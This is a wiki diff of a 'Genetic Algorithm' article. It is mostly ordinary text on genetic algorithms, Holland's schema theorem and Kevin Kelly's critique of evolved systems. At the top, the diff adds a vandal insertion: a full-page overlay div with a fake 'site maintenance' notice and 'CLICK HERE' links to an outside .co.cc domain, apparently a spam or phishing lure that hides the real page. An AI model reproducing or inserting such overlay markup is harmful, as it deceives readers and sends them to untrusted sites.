Genetic Algorithm
From CasGroup
(New page: '''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that imitate the biological process of evolution. They are a particular class of Evolutionary Algorithm...) |
|||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ecydoxe.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ecydoxe.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
'''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that | '''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that | ||
imitate the biological process of evolution. They are a particular class of | imitate the biological process of evolution. They are a particular class of | ||
| Line 22: | Line 30: | ||
In the most basic form the individuals, i.e. strings, encode the solution directly | In the most basic form the individuals, i.e. strings, encode the solution directly | ||
and define an solution for an optimization problem. In a more advanced form the | and define an solution for an optimization problem. In a more advanced form the | ||
| - | individuals are some form of | + | individuals are some form of "genetic" blueprint for the construction of a phenotype, |
which has a certain measurable fitness against some criterion. Here the phenotype | which has a certain measurable fitness against some criterion. Here the phenotype | ||
determines the fitness and the amount of offspring or descendants. | determines the fitness and the amount of offspring or descendants. | ||
| Line 33: | Line 41: | ||
They were first used and invented by John H. Holland and his group around 1970. | They were first used and invented by John H. Holland and his group around 1970. | ||
| - | Holland proved what is called the schema theorem, showing that, | + | Holland proved what is called the schema theorem, showing that, "if certain |
patterns of strings are fitter than others, then, in the long run, the GA | patterns of strings are fitter than others, then, in the long run, the GA | ||
can't help but find them, and the average number of strings in the population | can't help but find them, and the average number of strings in the population | ||
| - | matching those patterns will increase exponentially | + | matching those patterns will increase exponentially" (see |
[http://cscs.umich.edu/~crshalizi/notebooks/evol-comp.html]). | [http://cscs.umich.edu/~crshalizi/notebooks/evol-comp.html]). | ||
| Line 59: | Line 67: | ||
== Problems == | == Problems == | ||
| - | As Kevin Kelly says in his book | + | As Kevin Kelly says in his book "Out of Control", the price of evolution and evolving systems is to give up control. It is hard to understand and predict incomprehensible evolved systems, they are usually neither simple nor elegant, and therefore it is nearly impossible to correct, change or fix them manually. He argues "The things we are proud of in engineering - precision, predictability, exactness, and correctness - are diluted when evolution is introduced. These have to be diluted because survivability in a world of accidents, unforeseen circumstances, shifting environments - in short, the real world - demands a fuzzier, looser, more adaptable, less precise stance" (p.310). |
Thus a few of the problems are | Thus a few of the problems are | ||
| Line 69: | Line 77: | ||
== Differences to real Evolution == | == Differences to real Evolution == | ||
| - | Contrary to real [[Evolution|evolution]], there is no natural selection in genetic algorithms, only | + | Contrary to real [[Evolution|evolution]], there is no natural selection in genetic algorithms, only "artificial selection". What is selected is chosen by the programmer. In true evolutionary systems and "real life" the system itself defines the criteria for what it selects, as Kevin Kelly argues in his book "Out of Control" (p.341). The selection criteria "survival of the fittest" arises naturally in biological evolution. Another difference between artificial and natural selection is a litte amount of arbitrariness and randomness: in nature, even the fittest individual could be killed by accident, disaster, misfortune or whatever, which is not the case in artificial systems. |
| - | In biological [[Evolution|evolution]], there is also a clear distinction between genotype and phenotype. Many implementations of genetic algorithms use no digital counterpart of | + | In biological [[Evolution|evolution]], there is also a clear distinction between genotype and phenotype. Many implementations of genetic algorithms use no digital counterpart of "genes", and do not distinguish between genotype and phenotype. |
== Books == | == Books == | ||
